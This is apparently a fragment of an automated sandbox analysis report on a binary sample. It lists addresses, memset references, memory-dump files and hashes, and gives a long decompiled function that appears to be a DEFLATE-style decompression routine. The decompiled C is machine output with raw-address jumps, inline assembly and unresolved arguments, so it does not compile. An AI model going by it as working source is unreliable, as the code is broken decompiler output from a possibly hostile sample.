0x00316266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00316266
0x00000000
0x00316240
0x00316221
0x00316221
0x00316221
0x00316224
0x00316226
0x00316268
0x00316268
0x0031626b
0x0031626b
0x0031626e
0x003165ab
0x003165ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00316228
0x00316228
0x00316228
0x0031622a
0x003162af
0x003162af
0x00000000
0x00316230
0x00316230
0x00000000
0x00316230
0x0031622a
0x00316226
0x00000000
0x00316274
0x00316277
0x00316279
0x0031627b
0x0031627c
0x0031627e
0x00316281
0x00316284
0x00316287
0x00316287
0x00000000
0x0031628c
0x00316208
0x00000000
0x003161fa
0x003163b6
0x003163b9
0x003163bc
0x003163be
0x003163c0
0x003166a6
0x003166a6
0x003166a9
0x00000000
0x003163c6
0x003163c6
0x003163d2
0x003163e3
0x003163e3
0x003163ed
0x003163f3
0x00000000
0x003163f3
0x00000000
0x003163c0
0x003161e3
0x00316063
0x00316063
0x00316063
0x00316066
0x00316686
0x00316686
0x0031668d
0x00000000
0x00000000
0x00000000
0x00000000
0x00316066
0x00000000
0x00316061

APIs

memset.NTDLL ref: 00315EEE
memset.NTDLL ref: 00315F7D
memset.NTDLL ref: 00315F93
memset.NTDLL ref: 00315FA9

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 5615b745b23c0d3e2f8724e0e9e279d1c32707770fbe02beee438d5dd0b36557
Instruction ID: a0dda18d82980c021179780d4717955acec44bc58c75670d51dcb7a88bc58f01
Opcode Fuzzy Hash: 5615b745b23c0d3e2f8724e0e9e279d1c32707770fbe02beee438d5dd0b36557
Instruction Fuzzy Hash: 4D31C2B5E00605EBDB0ACFA0C8817EDBBB4FF8C305F144169E506AB681D778A695CF80

Uniqueness

Uniqueness Score: 0.00%

Function 00315D95, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

C-Code - Quality: 68%

			E00315D95(void* __eax, void* __ebx, void* __edi) {
				intOrPtr* _t597;
				void* _t598;
				signed int _t600;
				signed int _t603;
				signed int _t605;
				void* _t608;
				signed int _t609;
				signed int _t612;
				signed int _t614;
				signed int _t617;
				signed int _t618;
				signed int _t624;
				signed int _t625;
				void* _t628;
				signed int _t630;
				void* _t631;
				signed int _t641;
				signed int* _t651;
				signed int _t654;
				signed int _t671;
				signed int _t673;
				signed int _t675;
				signed int _t685;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t695;
				unsigned int _t698;
				void* _t699;
				signed int _t707;
				signed int _t710;
				signed int _t721;
				signed int _t725;
				signed int _t727;
				void* _t730;
				signed int _t732;
				signed int _t733;
				intOrPtr _t734;
				signed char _t738;
				intOrPtr* _t740;
				void* _t741;
				signed int _t749;
				signed int _t753;
				signed int _t758;
				signed int _t764;
				signed int _t767;
				void* _t769;
				intOrPtr _t782;
				intOrPtr _t783;
				intOrPtr _t784;
				signed int _t787;
				signed int _t791;
				void* _t797;
				signed int _t802;
				signed int _t804;
				signed int _t808;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				void* _t824;
				signed int _t828;
				void* _t829;
				signed int _t834;
				void* _t835;
				void* _t836;
				signed int _t841;
				signed int _t842;
				signed char _t844;
				signed int _t845;
				void* _t847;
				void* _t851;
				signed int _t853;
				intOrPtr _t854;
				signed char _t860;
				signed int _t861;
				signed int _t862;
				signed char _t863;
				signed char _t864;
				intOrPtr _t866;
				void* _t869;
				void* _t870;
				void* _t871;
				signed int _t874;
				signed int _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t884;
				void* _t885;
				signed char _t894;
				signed int _t896;
				void* _t897;
				void* _t898;
				signed int _t901;
				signed int _t902;
				signed char _t903;
				intOrPtr _t905;
				intOrPtr _t907;
				void* _t910;
				signed char _t911;
				signed char _t912;
				signed char _t913;
				signed int _t917;
				signed char _t922;
				void* _t923;
				void* _t924;
				signed int _t927;
				signed char* _t932;
				signed int _t936;
				signed char _t940;
				signed int _t941;
				signed char _t944;
				signed int _t945;
				void* _t953;
				signed int _t968;
				signed int _t969;
				signed int _t972;
				signed int _t974;
				signed int _t978;
				signed int* _t979;
				signed char* _t984;
				void* _t985;
				void* _t990;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t997;
				signed int _t999;
				signed int _t1000;
				signed int _t1003;
				signed int _t1004;
				int _t1005;
				int _t1007;
				signed int _t1008;
				unsigned int _t1011;
				void* _t1015;
				intOrPtr _t1016;
				signed int _t1017;
				signed int _t1021;
				signed char _t1025;
				void* _t1029;
				signed char _t1030;
				signed int _t1031;
				void* _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1039;
				void* _t1041;
				int _t1046;
				signed int _t1047;
				signed int _t1049;
				signed int _t1050;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed char _t1064;
				void* _t1065;
				void* _t1067;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t597 = __eax + 1 - 0x20;
					 *_t597 =  *_t597 + _t597;
					_t847 = __ebx + _t597;
					_t598 = _t597 + 1;
					 *_t598 =  *_t598 ^ _t598;
					 *_t598 = _t598 +  *_t598;
					 *0xde0 =  *0xde0 + _t598;
					memset(_t598, ??, ??);
					asm("movdqa xmm0, [0x31fae0]");
					_t1068 = _t1067 + 0xc;
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqu [edi+0x70], xmm0");
					asm("movdqu [edi+0x80], xmm0");
					asm("movdqu [edi+0x90], xmm0");
					asm("movdqu [edi+0xa0], xmm0");
					asm("movdqu [edi+0xb0], xmm0");
					asm("movdqu [edi+0xc0], xmm0");
					_t1029 = __edi + 0xd0;
					asm("movdqa xmm0, [0x31faf0]");
					asm("movdqu [edi], xmm0");
					asm("movdqu [edi+0x10], xmm0");
					asm("movdqu [edi+0x20], xmm0");
					asm("movdqu [edi+0x30], xmm0");
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqa xmm0, [0x31fad0]");
					asm("movdqu [edi+0x70], xmm0");
					asm("movq [edi+0x80], xmm0");
					 *((intOrPtr*)(_t1029 + 0x88)) = 0x8080808;
					 *((intOrPtr*)(_t1029 + 0x8c)) = 0x8080808;
					_t1030 =  *(_t1065 - 0x14);
					while(1) {
						L141:
						_t600 =  *(_t1030 + 0x18);
						if(_t600 >= 0) {
							break;
						}
						L218:
						_t968 =  *(_t1065 - 4);
						while(1) {
							L39:
							_t860 =  *(_t1065 - 0x20) - _t847;
							__eflags = _t860 - 4;
							if(_t860 < 4) {
								goto L58;
							}
							L40:
							_t1030 =  *(_t1065 - 0x14);
							__eflags =  *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) - 2;
							if( *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1050 - 0xf;
								if(_t1050 < 0xf) {
									_t1017 =  *(_t847 + 1) & 0x000000ff;
									_t860 = _t1050;
									_t733 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1017 << 0x00000008 | _t733) << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
								}
								_t618 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t618;
								__eflags = _t618;
								if(_t618 < 0) {
									L45:
									goto 0x33145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t685 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t618 = (_t685 & 0x00000001) +  !_t847;
										_t847 =  *((short*)(_t1030 + 0x960 + _t618 * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L44:
									_t860 = _t618 >> 9;
								}
								L48:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 & 0x00000100;
								if((_t861 & 0x00000100) != 0) {
									L84:
									_t862 = _t861 & 0x000001ff;
									 *(_t1065 - 8) = _t862;
									__eflags = _t862 - 0x100;
									if(_t862 != 0x100) {
										L219:
										_t608 = _t862 * 4 - 0x404;
										_t863 =  *(_t608 + 0x31f010);
										_t609 =  *(_t608 + 0x31fa48);
										 *(_t1065 - 0x38) = _t863;
										 *(_t1065 - 8) = _t609;
										__eflags = _t863;
										if(_t863 == 0) {
											L225:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L3:
												_t612 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
												 *(_t1065 - 0x1c) = _t612;
												__eflags = _t612;
												if(_t612 < 0) {
													L5:
													goto 0x3313e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t614 = _t968 >> _t863;
														_t863 = _t863 + 1;
														_t847 =  *((short*)(_t1030 + 0x1700 + ((_t614 & 0x00000001) +  !_t847) * 2));
														__eflags = _t847;
													} while (_t847 < 0);
													 *(_t1065 - 0x1c) = _t847;
													_t847 =  *(_t1065 - 0x18);
													_t617 =  *(_t1065 - 0x1c);
												} else {
													L4:
													_t863 = _t612 >> 9;
													_t617 = _t612 & 0x000001ff;
												}
												L9:
												_t968 = _t968 >> _t863;
												_t1050 = _t1050 - _t863;
												_t864 =  *(0x31f090 + _t617 * 4);
												_t618 =  *(0x31f110 + _t617 * 4);
												 *(_t1065 - 4) = _t968;
												 *(_t1065 - 0x38) = _t864;
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t864;
												if(_t864 == 0) {
													L15:
													_t866 =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 + 0xc));
													 *((intOrPtr*)(_t1065 - 0x48)) = _t866;
													__eflags = _t618 - _t866;
													if(_t618 <= _t866) {
														L17:
														_t1030 =  *(_t1065 - 0x14);
														_t869 = (_t866 - _t618 &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc));
														__eflags =  *(_t1065 - 0x10) - _t869;
														 *(_t1065 - 0xc) = _t869;
														_t620 =  >  ?  *(_t1065 - 0x10) : _t869;
														_t870 =  *(_t1065 - 8);
														_t621 = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870;
														__eflags = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870 -  *((intOrPtr*)(_t1065 - 0x40));
														if(( >  ?  *(_t1065 - 0x10) : _t869) + _t870 <=  *((intOrPtr*)(_t1065 - 0x40))) {
															L21:
															__eflags = _t870 - 9;
															if(_t870 < 9) {
																L30:
																goto 0x331420;
																asm("int3");
																do {
																	L32:
																	_t870 = _t870 - 3;
																	 *_t1030 =  *_t968 & 0x000000ff;
																	 *((char*)(_t1030 + 1)) =  *(_t968 + 1) & 0x000000ff;
																	_t624 =  *(2 + _t968) & 0x000000ff;
																	_t968 = _t968 + 3;
																	 *(2 + _t1030) = _t624;
																	_t1030 = _t1030 + 3;
																	__eflags = _t870 - 2;
																} while (_t870 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t870 -  *(_t1065 - 0x28);
																if(_t870 >  *(_t1065 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1041 =  *(_t1065 - 0xc);
																	_t871 =  *(_t1065 - 0x10);
																	_t738 = _t1041 + (_t870 & 0xfffffff8);
																	 *(_t1065 - 0x24) = _t738;
																	_t1025 = _t738;
																	do {
																		L24:
																		 *_t871 =  *_t1041;
																		_t740 =  *((intOrPtr*)(_t1041 + 4));
																		_t1041 = _t1041 + 8;
																		 *((intOrPtr*)(_t871 + 4)) = _t740;
																		_t871 = _t871 + 8;
																		__eflags = _t1041 - _t1025;
																	} while (_t1041 < _t1025);
																	_t968 =  *(_t1065 - 4);
																	 *(_t1065 - 0x10) = _t871;
																	_t870 =  *(_t1065 - 8) & 0x00000007;
																	 *(_t1065 - 0xc) = _t1041;
																	_t1030 =  *(_t1065 - 0x14);
																	 *(_t1065 - 8) = _t870;
																	__eflags = _t870 - 3;
																	if(_t870 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t741 = _t870;
																_t870 = _t870 - 1;
																 *(_t1065 - 8) = _t870;
																__eflags = _t741;
																if(_t741 == 0) {
																	goto L39;
																}
																L19:
																__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																	L238:
																	 *(_t1065 - 0xc) = 2;
																	 *_t1030 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																	 *((intOrPtr*)(_t1065 - 0x48)) =  *((intOrPtr*)(_t1065 - 0x48)) + 1;
																	 *( *(_t1065 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1065 - 0x48)) -  *(_t1065 - 0x28) &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc))));
																	_t968 =  *(_t1065 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t860 =  *(_t1065 - 0x20) - _t847;
																__eflags = _t860 - 4;
																if(_t860 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L16:
														__eflags =  *(_t1065 + 0x18) & 0x00000004;
														if(( *(_t1065 + 0x18) & 0x00000004) != 0) {
															L270:
															_t689 = _t618 | 0xffffffff;
															 *_t1030 = 0x25;
															goto L291;
														} else {
															goto L17;
														}
													}
												} else {
													L10:
													__eflags = _t1050 - _t864;
													if(_t1050 >= _t864) {
														L13:
														_t1050 = _t1050 - _t864;
														_t749 = (_t618 << _t864) - 0x00000001 & _t968;
														_t968 = _t968 >> _t864;
														_t28 = _t1065 - 0x28;
														 *_t28 =  *(_t1065 - 0x28) + _t749;
														__eflags =  *_t28;
														_t618 =  *(_t1065 - 0x28);
														 *(_t1065 - 4) = _t968;
														goto L15;
													} else {
														while(1) {
															L11:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L12:
															_t618 = ( *_t847 & 0x000000ff) << _t1050;
															_t847 = _t847 + 1;
															_t864 =  *(_t1065 - 0x38);
															_t968 = _t968 | _t618;
															_t1050 = _t1050 + 8;
															 *(_t1065 - 0x18) = _t847;
															 *(_t1065 - 4) = _t968;
															__eflags = _t1050 - _t864;
															if(_t1050 < _t864) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														L263:
														 *_t1030 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1065 - 0x20) - _t847 - 2;
												if( *(_t1065 - 0x20) - _t847 >= 2) {
													L237:
													_t991 =  *(_t847 + 1) & 0x000000ff;
													_t753 =  *_t847 & 0x000000ff;
													_t847 = _t847 + 2;
													_t1030 =  *(_t1065 - 0x14);
													_t863 = _t1050;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) =  *(_t1065 - 4) | _t991 << _t1050 + 0x00000008 | _t753 << _t863;
													_t1050 = _t1050 + 0x10;
													_t968 =  *(_t1065 - 4);
												} else {
													do {
														L227:
														_t618 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
														 *(_t1065 - 0x24) = _t618;
														__eflags = _t618;
														if(_t618 < 0) {
															L231:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1065 - 0x1c) = _t863;
																while(1) {
																	L234:
																	_t863 =  *((short*)(_t1030 + 0x1700 + ((_t968 >> _t863 & 0x00000001) +  !( *(_t1065 - 0x24))) * 2));
																	_t764 =  *(_t1065 - 0x1c) + 1;
																	 *(_t1065 - 0x24) = _t863;
																	 *(_t1065 - 0x1c) = _t764;
																	__eflags = _t863;
																	if(_t863 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t618 = _t764 + 1;
																	__eflags = _t1050 - _t618;
																	if(_t1050 < _t618) {
																		goto L1;
																	} else {
																		L236:
																		_t863 =  *(_t1065 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t618 = _t618 >> 9;
															__eflags = _t618;
															if(_t618 == 0) {
																L1:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L264:
																	 *_t1030 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t863 = _t1050;
														_t758 = ( *_t847 & 0x000000ff) << _t863;
														_t847 = _t847 + 1;
														_t968 = _t968 | _t758;
														 *(_t1065 - 0x18) = _t847;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 4) = _t968;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1050 - _t863;
											if(_t1050 >= _t863) {
												L223:
												L224:
												_t1050 = _t1050 - _t863;
												_t767 = (_t609 << _t863) - 0x00000001 & _t968;
												_t968 = _t968 >> _t863;
												_t456 = _t1065 - 8;
												 *_t456 =  *(_t1065 - 8) + _t767;
												__eflags =  *_t456;
												 *(_t1065 - 4) = _t968;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L222:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t863 =  *(_t1065 - 0x38);
													_t968 = _t968 | _t618;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - _t863;
													if(_t1050 < _t863) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1030 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1030 + 0x14) & 0x00000001;
											if(( *(_t1030 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1050 - 3;
											if(_t1050 >= 3) {
												L89:
												_t1050 = _t1050 - 3;
												_t698 = _t968 & 0x00000007;
												_t999 = _t968 >> 3;
												 *(_t1030 + 0x14) = _t698;
												_t699 = _t698 >> 1;
												__eflags = _t699;
												 *(_t1065 - 4) = _t999;
												 *(_t1065 - 0x1c) = _t1050;
												 *(_t1030 + 0x18) = _t699;
												if(_t699 != 0) {
													L124:
													__eflags = _t699 - 3;
													if(_t699 == 3) {
														L266:
														 *(_t1065 - 0xc) = 0xffffffff;
														 *_t1030 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t699 - 1;
														if(__eflags != 0) {
															L127:
															_t901 = 0;
															__eflags = 0;
															while(1) {
																L128:
																 *(_t1065 - 8) = _t901;
																__eflags = _t901 - 3;
																if(_t901 >= 3) {
																	break;
																}
																L129:
																_t618 =  *((char*)(_t901 + 0x31f004));
																 *(_t1065 - 0x1c) = _t618;
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	L132:
																	_t1015 = _t1030 + _t901 * 4;
																	_t1036 =  *(_t1065 - 4);
																	 *(_t1015 + 0x2c) = (0x00000001 <<  *(_t1065 - 0x1c)) - 0x00000001 & _t1036;
																	_t707 =  *(_t1065 - 8);
																	_t940 =  *((char*)(_t707 + 0x31f004));
																	_t1037 = _t1036 >> _t940;
																	_t1050 = _t1050 - _t940;
																	_t941 = _t707;
																	 *(_t1065 - 4) = _t1037;
																	 *(_t1065 - 0x1c) = _t1050;
																	 *(_t1015 + 0x2c) =  *(_t1015 + 0x2c) +  *((intOrPtr*)(0x31fa38 + _t941 * 4));
																	_t999 = _t1037;
																	_t1030 =  *(_t1065 - 0x14);
																	_t901 = _t941 + 1;
																	continue;
																} else {
																	while(1) {
																		L130:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L131:
																		_t710 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t901 =  *(_t1065 - 8);
																		_t999 = _t999 | _t710;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 0x18) = _t847;
																		 *(_t1065 - 4) = _t999;
																		_t618 =  *((char*)(_t901 + 0x31f004));
																		 *(_t1065 - 0x1c) = _t618;
																		__eflags = _t1050 - _t618;
																		if(_t1050 < _t618) {
																			continue;
																		} else {
																			goto L132;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1030 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L133:
															L134:
															_t618 = memset(_t1030 + 0x1b80, 0, ??);
															_t1000 =  *(_t1065 - 4);
															_t1068 = _t1068 + 0xc;
															_t902 = 0;
															__eflags = 0;
															while(1) {
																L135:
																 *(_t1065 - 8) = _t902;
																__eflags = _t902 -  *((intOrPtr*)(_t1030 + 0x34));
																if(__eflags >= 0) {
																	break;
																}
																L136:
																__eflags = _t1050 - 3;
																if(_t1050 >= 3) {
																	L139:
																	_t936 = _t1000 & 0x00000007;
																	_t1000 = _t1000 >> 3;
																	_t1050 = _t1050 - 3;
																	 *(_t1065 - 4) = _t1000;
																	 *(_t1065 - 0x1c) = _t1050;
																	_t618 =  *( *(_t1065 - 8) + 0x31fa24) & 0x000000ff;
																	 *(_t1030 + 0x1b80 + _t618) = _t936;
																	_t902 =  *(_t1065 - 8) + 1;
																	continue;
																} else {
																	while(1) {
																		L137:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L138:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t1000 = _t1000 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t1000;
																		__eflags = _t1050 - 3;
																		if(_t1050 < 3) {
																			continue;
																		} else {
																			goto L139;
																		}
																		goto L295;
																	}
																	L249:
																	 *_t1030 = 0xe;
																	goto L285;
																}
																goto L295;
															}
															L140:
															 *((intOrPtr*)(_t1030 + 0x34)) = 0x13;
															goto L141;
														} else {
															L126:
															goto 0x3314d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t699 + 0x2c)) = 0x120;
															goto L0;
														}
													}
												} else {
													L90:
													_t618 = _t1050 & 0x00000007;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														L93:
														_t944 = _t1050 & 0x00000007;
														_t968 = _t999 >> _t944;
														_t1050 = _t1050 - _t944;
														 *(_t1065 - 4) = _t968;
														_t945 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1065 - 8) = _t945;
															__eflags = _t945 - 4;
															if(_t945 >= 4) {
																break;
															}
															L95:
															__eflags = _t1050;
															if(_t1050 == 0) {
																L101:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L244:
																	 *_t1030 = 7;
																	goto L285;
																} else {
																	L102:
																	_t618 =  *_t847;
																	_t847 = _t847 + 1;
																	(_t1030 + 0x2920)[_t945] = _t618;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 0x18) = _t847;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1050 - 8;
																if(_t1050 >= 8) {
																	L100:
																	(_t1030 + 0x2920)[_t945] = _t968;
																	_t1050 = _t1050 - 8;
																	_t968 = _t968 >> 8;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 4) = _t968;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L98:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t968 = _t968 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t968;
																		__eflags = _t1050 - 8;
																		if(_t1050 < 8) {
																			continue;
																		} else {
																			L99:
																			_t945 =  *(_t1065 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1030 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t618 =  *(_t1030 + 0x2922) & 0x000000ff;
														 *(_t1065 - 8) = ( *(_t1030 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1030 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1065 - 8) - ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff);
														if( *(_t1065 - 8) != ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff)) {
															L265:
															 *(_t1065 - 0xc) = 0xffffffff;
															 *_t1030 = 0x27;
															goto L292;
														} else {
															L104:
															_t953 =  *(_t1065 - 8);
															while(1) {
																L105:
																__eflags = _t953;
																if(_t953 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1050;
																if(_t1050 == 0) {
																	L113:
																	_t618 =  *(_t1065 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t953;
																		if(_t953 == 0) {
																			break;
																		}
																		L116:
																		_t1016 =  *((intOrPtr*)(_t1065 - 0x40));
																		__eflags = _t618 - _t1016;
																		if(_t618 < _t1016) {
																			L118:
																			_t618 =  *(_t1065 - 0x20);
																			__eflags = _t847 - _t618;
																			if(_t847 >= _t618) {
																				L247:
																				_t1030 =  *(_t1065 - 0x14);
																				 *_t1030 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t968 = _t1016 -  *(_t1065 - 0x10);
																				_t1039 = _t618 - _t847;
																				__eflags = _t968 - _t1039;
																				_t715 =  <  ? _t968 : _t1039;
																				__eflags = ( <  ? _t968 : _t1039) - _t953;
																				if(( <  ? _t968 : _t1039) >= _t953) {
																					_t1030 = _t953;
																				} else {
																					__eflags = _t968 - _t1039;
																					_t1030 =  <  ? _t968 : _t1039;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t847 = _t847 + _t1030;
																				_t618 =  *(_t1065 - 0x10) + _t1030;
																				_t1068 = _t1068 + 0xc;
																				 *(_t1065 - 0x18) = _t847;
																				_t953 =  *(_t1065 - 8) - _t1030;
																				 *(_t1065 - 0x10) = _t618;
																				 *(_t1065 - 8) = _t953;
																				continue;
																			}
																		} else {
																			L117:
																			_t1030 =  *(_t1065 - 0x14);
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x3314b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1050 - 8;
																	if(_t1050 >= 8) {
																		L110:
																		_t618 = _t968 & 0x000000ff;
																		_t968 = _t968 >> 8;
																		_t1050 = _t1050 - 8;
																		 *(_t1065 - 0x28) = _t618;
																		 *(_t1065 - 4) = _t968;
																		L111:
																		__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																		_t1030 =  *(_t1065 - 0x14);
																		if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																			L246:
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																			 *( *(_t1065 - 0x10)) = _t618;
																			_t953 =  *(_t1065 - 8) - 1;
																			 *(_t1065 - 8) = _t953;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t847 -  *(_t1065 - 0x20);
																			if(_t847 >=  *(_t1065 - 0x20)) {
																				break;
																			}
																			L109:
																			_t618 = ( *_t847 & 0x000000ff) << _t1050;
																			_t847 = _t847 + 1;
																			_t968 = _t968 | _t618;
																			 *(_t1065 - 0x18) = _t847;
																			_t1050 = _t1050 + 8;
																			 *(_t1065 - 4) = _t968;
																			__eflags = _t1050 - 8;
																			if(_t1050 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1030 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L92:
															_t721 = ( *_t847 & 0x000000ff) << _t1050;
															_t1050 = _t1050 + 8;
															_t999 = _t999 | _t721;
															_t847 = _t847 + 1;
															 *(_t1065 - 0x18) = _t847;
															_t618 = _t1050 & 0x00000007;
															 *(_t1065 - 4) = _t999;
															__eflags = _t1050 - _t618;
															if(_t1050 < _t618) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1030 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
